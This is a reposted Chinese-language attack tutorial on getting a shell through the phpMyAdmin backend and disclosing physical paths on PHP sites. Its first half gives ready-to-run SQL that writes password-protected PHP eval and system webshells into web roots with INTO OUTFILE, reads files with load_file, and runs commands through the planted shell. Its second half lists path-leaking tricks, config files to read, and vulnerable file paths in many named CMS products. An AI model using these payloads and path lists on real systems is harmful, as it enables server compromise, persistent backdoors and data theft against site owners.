phpMyAdmin后台拿Shell方法及php爆路径方法

转自：http://kuxoo/phpMyAdmin/

[PhpMyAdmin后台拿Shell]
CREATE TABLE `mysql`.`xiaoma` (`xiaoma1` TEXT NOT NULL );
INSERT INTO `mysql`.`xiaoma` (`xiaoma1` )VALUES ('<?php @eval($_POST[xiaoma])?>');
select xiaoma1 from xiaoma INTO OUTFILE 'E:/wamp/www/7.php';
以上同时执行，在数据库: mysql 下创建一个表名为：xiaoma，字段为xiaoma1，导出到E:/wamp/www/7.php 一句话连接密码：xiaoma

Create TABLE xiaoma (xiaoma1 text NOT NULL);
Insert INTO xiaoma (xiaoma1) VALUES('<?php eval($_POST[xiaoma])?>');
select xiaoma1 from xiaoma into outfile 'E:/wamp/www/7.php';
Drop TABLE IF EXISTS xiaoma;

create database wutongyu(这个为数据库名称).
use wutongyu (连接数据库)
create table shell(code text) (建立表shell，字段code为文本型数据)
insert into shell(code) values ('<?php @eval($_POST['c']);?>'); (插入一句话，密码为C)
select * from shell into outfile "D:\\detai\\AppServ\\www\\phpMyAdmin2\\shell.php" (导出shell到绝对路径)

PhpMyAdmin导出WebShell至中文路径
set character_set_client='gbk';
set character_set_connection='gbk';
set character_set_database='gbk';
set character_set_results='gbk';
set character_set_server='gbk';
select '<?php eval($_POST[cmd]);?>' into outfile 'd:\www\网站\mm.php';

读取文件内容：select load_file('E:/xamp/www/s.php');
写一句话：    select '<?php @eval($_POST[cmd])?>'INTO OUTFILE 'E:/xamp/www/xiaoma.php'
cmd执行权限： select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'E:/xamp/www/xiaoma.php'

select load_file('E:/xamp/www/xiaoma.php');
select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'E:/xamp/www/xiaoma.php'
然后访问网站目录：http://www.xxxx/xiaoma.php?cmd=dir
 
[PHP爆路径方法]
1、单引号爆路径
说明：直接在URL后面加单引号，要求单引号没有被过滤(gpc=off)且服务器默认返回错误信息。
www.xxx/news.php?id=149′
2、错误参数值爆路径
说明：将要提交的参数值改成错误值，比如-1。-99999单引号被过滤时不妨试试。
www.xxx/researcharchive.php?id=-1
3、Google爆路径
说明：结合关键字和site语法搜索出错页面的网页快照，常见关键字有warning和fatal error。注意，如果目标站点是二级域名，site接的是其对应的顶级域名，这样得到的信息要多得多。
Site:xxx.edu.tw warning
Site:xxx.tw “fatal error”
4、测试文件爆路径
说明：很多网站的根目录下都存在测试文件，脚本代码通常都是phpinfo()。
www.xxx/test.php
www.xxx/ceshi.php
www.xxx/info.php
www.xxx/phpinfo.php
www.xxx/php_info.php
www.xxx/1.php
5、PhpMyAdmin爆路径
说明：一旦找到phpmyadmin的管理页面，再访问该目录下的某些特定文件，就很有可能爆出物理路径。至于phpmyadmin的地址可以用wwwscan这类的工具去扫，也可以选择google。
1. /phpmyadmin/libraries/lect_lang.lib.php
2./phpMyAdmin/index.php?lang[]=1
3. /phpMyAdmin/phpinfo.php
4. load_file()
5./phpmyadmin/themes/darkblue_orange/layout.inc.php
6./phpmyadmin/libraries/select_lang.lib.php
7./phpmyadmin/libraries/lect_lang.lib.php
8./phpmyadmin/libraries/mcrypt.lib.php
6、配置文件找路径
说明：如果注入点有文件读取权限，就可以手工load_file或工具读取配置文件，再从中寻找路径信息（一般在文件末尾）。各平台下Web服务器和PHP的配置文件默认路径可以上网查，这里列举常见的几个。
Windows:
c:\windows\php.ini                                    php配置文件
c:\windows\system32\inetsrv\MetaBase.xml  IIS虚拟主机配置文件
Linux:
/etc/php.ini                                     php配置文件
/etc/httpd/conf.d/php.conf
/etc/httpd/conf/httpd.conf              Apache配置文件
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/extra/httpd-vhosts.conf         虚拟目录配置文件
7、nginx文件类型错误解析爆路径
说明：这是昨天无意中发现的方法，当然要求Web服务器是nginx，且存在文件类型解析漏洞。有时在图片地址后加/x.php，该图片不但会被当作php文件执行，还有可能爆出物理路径。
www.xxx/top.jpg/x.php
8、Other PHP
DeDeCms
/member/templets/menulit.php
plus/paycenter/alipay/return_url.php
plus/paycenter/cbpayment/autoreceive.php
paycenter/nps/config_pay_nps.php
plus/task/dede-maketimehtml.php
plus/task/dede-optimize-table.php
plus/task/dede-upcache.php
WordPress
wp-admin/includes/file.php
wp-content/themes/baiaogu-seo/footer.php
Ecshop商城系统暴路径漏洞文件
/api/cron.php
/wap/goods.php
/temp/compiled/ur_here.lbi.php
/temp/compiled/pages.lbi.php
/temp/compiled/user_transaction.dwt.php
/temp/compiled/history.lbi.php
/temp/compiled/page_footer.lbi.php
/temp/compiled/goods.dwt.php
/temp/compiled/user_clips.dwt.php
/temp/compiled/goods_article.lbi.php
/temp/compiled/comments_list.lbi.php
/temp/compiled/recommend_promotion.lbi.php
/temp/compiled/search.dwt.php
/temp/compiled/category_tree.lbi.php
/temp/compiled/user_passport.dwt.php
/temp/compiled/promotion_info.lbi.php
/temp/compiled/user_menu.lbi.php
/temp/compiled/message.dwt.php
/temp/compiled/admin/pagefooter.htm.php
/temp/compiled/admin/page.htm.php
/temp/compiled/admin/start.htm.php
/temp/compiled/admin/goods_search.htm.php
/temp/compiled/admin/index.htm.php
/temp/compiled/admin/order_list.htm.php
/temp/compiled/admin/menu.htm.php
/temp/compiled/admin/login.htm.php
/temp/compiled/admin/message.htm.php
/temp/compiled/admin/goods_list.htm.php
/temp/compiled/admin/pageheader.htm.php
/temp/compiled/admin/top.htm.php
/temp/compiled/top10.lbi.php
/temp/compiled/member_info.lbi.php
/temp/compiled/bought_goods.lbi.php
/temp/compiled/goods_related.lbi.php
/temp/compiled/page_header.lbi.php
/temp/compiled/goods_script.html.php
/temp/compiled/index.dwt.php
/temp/compiled/goods_fittings.lbi.php
/temp/compiled/myship.dwt.php
/temp/compiled/brands.lbi.php
/temp/compiled/help.lbi.php
/temp/compiled/goods_gallery.lbi.php
/temp/compiled/comments.lbi.php
/temp/compiled/myship.lbi.php
/includes/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php
/includes/modules/cron/auto_manage.php
/includes/modules/cron/ipdel.php
Ucenter爆路径
ucenter\control\admin\db.php
DZbbs
manyou/admincp.php?my_suffix=%0A%0DTOBY57
Z-blog
admin/FCKeditor/editor/dialog/fck%5Fspellerpages/spellerpages/server%2Dscripts/spellchecker.php
Php168爆路径
admin/inc/hack/count.php?job=list
admin/inc/hack/search.php?job=getcode
admin/inc/ajax/bencandy.php?job=do
cache/MysqlTime.txt
PHPcms2008-sp4
注册用户登陆后访问
phpcms/corpandresize/process.php?pic=../images/logo.gif
CMSeasy爆网站路径漏洞
漏洞出现在menu_top.php这个文件中
lib/mods/celive/menu_top.php
/lib/default/ballot_act.php
lib/default/special_act.php